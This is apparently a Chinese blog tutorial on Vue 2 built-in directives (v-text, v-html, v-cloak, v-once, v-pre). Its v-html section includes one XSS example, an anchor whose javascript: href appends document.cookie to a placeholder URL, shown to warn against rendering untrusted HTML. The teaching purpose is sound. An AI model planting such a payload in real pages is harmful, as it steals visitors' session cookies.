Vue2(笔记16) - Vue核心 - 内置指令

回顾下之前的指令：

v-bind   ：单向绑定解析表达式，可简写 :xxx

v-model：双向数据绑定；

v-for     ：遍历数组/对象/字符串

v-on     ：绑定事件监听，可简写 @

v-if       ：条件渲染（动态控制节点是否存在）

v-else   ：条件渲染（动态控制节点是否存在）

v-show ：条件渲染（动态控制节点是否展示）

v-text

1）作用：向其所在节点中渲染文本内容；

2）与插值语法的区别： v-text 会替换掉节点中的内容；

<div id="root">
    <h2>你好，{{name}}</h2>
    <h2 v-text="name"></h2>
    <h2 v-text="name">你好，</h2>
</div>

提示：插值语法中，插入 name 的值，和 ​​v-text​​ 写在属性里的方式，显示的结果一样；

new Vue({
    el: '#root',
    data: {
        name: '51cto',
    }
})

提示：v-text 会把 "name" 的值，完全替换标签里的 text ，这样一来，还是插值语法更灵活；

<h2 v-text="name">你好，</h2>

如果，写成这个样子，是没有效果的，“你好，” 也会被  "name" 中的值完全替换；

只有当标签里不写什么了，只显示  name 属性的值，那就可以使用 v-text ；

注意：v-text 不解析 name 中的标签，如： name="<span>51cto</span>"，只会照原样输出；

---

v-html

和 ​​v-text​​​ 相比，​​v-html​​ 支持结构的解析；

<div id="root">
    <h2>你好，{{name}}</h2>
    <h2 v-html="str"></h2>
</div>

提示：换成 v-html 会解析 str 中的标签；

new Vue({
    el: '#root',
    data: {
        name: '51cto',
        str:'<span style="color:red">你好</span>'
    }
})

提示：str 属性中，包含一个 span 和样式；

看下效果：

看下结构：

注意：这个指令可能存在一些安全性的问题，比如 cookies 暴露；

比如：

new Vue({
    el: '#root',
    data: {
        name: '51cto',
        str:'<span style="color:red">你好</span>',
        str2:'<a href=javascript:location.href="XXX"+document.cookie>好东西</a>'
    }
})

像 str2 这种代码，被渲染到页面上，被点击后，就把本机的 cookies 都传跑了，造成安全隐患；

随手点开本机的本站的 cookies ：

【v-html指令】

1）作用：向指定节点中渲染包含 html 结构的内容；

2）与插值语法的区别：

1、v-html 会替换掉节点中所有的内容，{{xxx}} 则不会；

2、v-html 可以识别 html 结构；

3）严重注意：v-html 有安全性问题！！

1、在网站上动态渲染任意HTML是非常危险的，容易导致 XSS 功击；

2、一定要在可信的内容上使用 v-html ，永不要用在用户提交的内容上；

---

v-cloak

当网速过慢，可以通过 v-cloak 属性（没有值）来控制样式，让 Vue 接管的内容暂时隐藏；

<script src="./res/vue.js"></script>
<div id="root">
    <h2>你好，{{name}}</h2>
</div>

提示：如果这里 script 异步加载延时了 5秒，那结构和后面的代码都要等待；

如果把 script 加载代码放在结构下面：那没经 vue 渲染的结构又会跑到页面上去；

<div id="root">
    <h2>你好，{{name}}</h2>
</div>
<script src="./res/vue.js"></script>

为了解决这个问题，Vue 给出一个 v-cloak 指令，当作属性放在标签里：之后，通过属性选择器，把所有添加了 v-cloak 指令的标签隐藏，就不影响没有被 vue 接管的标签的渲染。当Vue接管了标签后，会自动删除 v-cloak ，那些被接管的渲染好的标签就会显示出来。

<style>
    [v-cloak]{
        display: none;
    }
</style>

<div id="root">
    <h2 v-cloak>你好，{{name}}</h2>
</div>

【v-cloak指令】总结

1）本质是一个特殊属性，Vue实例创建完毕并接管容器后，会删掉 v-cloak 属性；

2）使用CSS配合 v-cloak 可以解决网速慢时页面展示出 {{xxx}}的问题；

---

v-once

也是个没有值的属性： v-once ,相当于只执行一次的属性；

需求：两个 h2 ，一个实现 n 的累加，一个实现只显示初始化 n 的值；

<div id="root">
    <h2 v-once>初如化的 n 值是：{{n}}</h2>
    <h2>当前的 n 的值是:{{n}}</h2>
    <button @click="n++">点我n+1</button>
</div>

提示：加了 v-once 的标签中的插值 n ，只会在初始化时变化一次，之后就不再响应了；

new Vue({
    el: '#root',
    data: {
        name: '51cto',
        n:1,
    }
})

注意：不要把这个 v-once 和 事件修饰符 once 搞混淆了；

v-once 是渲染初始化时，只执行一次；

事件修饰符 once 是事件只响应一次；

看下效果：

【v-once指令】总结

1）v-once 所在节点在初次动态渲染后，就视为静态内容了；

2）以后数据在改变不会引起 v-once 所在结构的更新，可以用于优化性能（有时只需要执行一次）；

---

v-pre

v-pre 加了，就是告诉 Vue，不在解析 Vue 指令了；写成什么样就输出什么样；

<div id="root">
    <h2 v-pre>学习vue指令</h2>
    <h2 v-pre>当前的n的值是:{{n}}</h2>
    <button v-pre @click="n++">点我n+1</button>
</div>

看下效果：三行都加了 v-pre ，本该解析的也没解析，原样输出到页面上了；

看下结构：

代码是什么样，原样输出到页面上去了；所以，在有需要Vue解析的标签上，不要使用 v-pre ；

【v-pre】总结

1）跳过其所在节点的编译过程；

2）可利用它跳过：没有使用指令语法、没有使用插值语法的节点，会加快编译；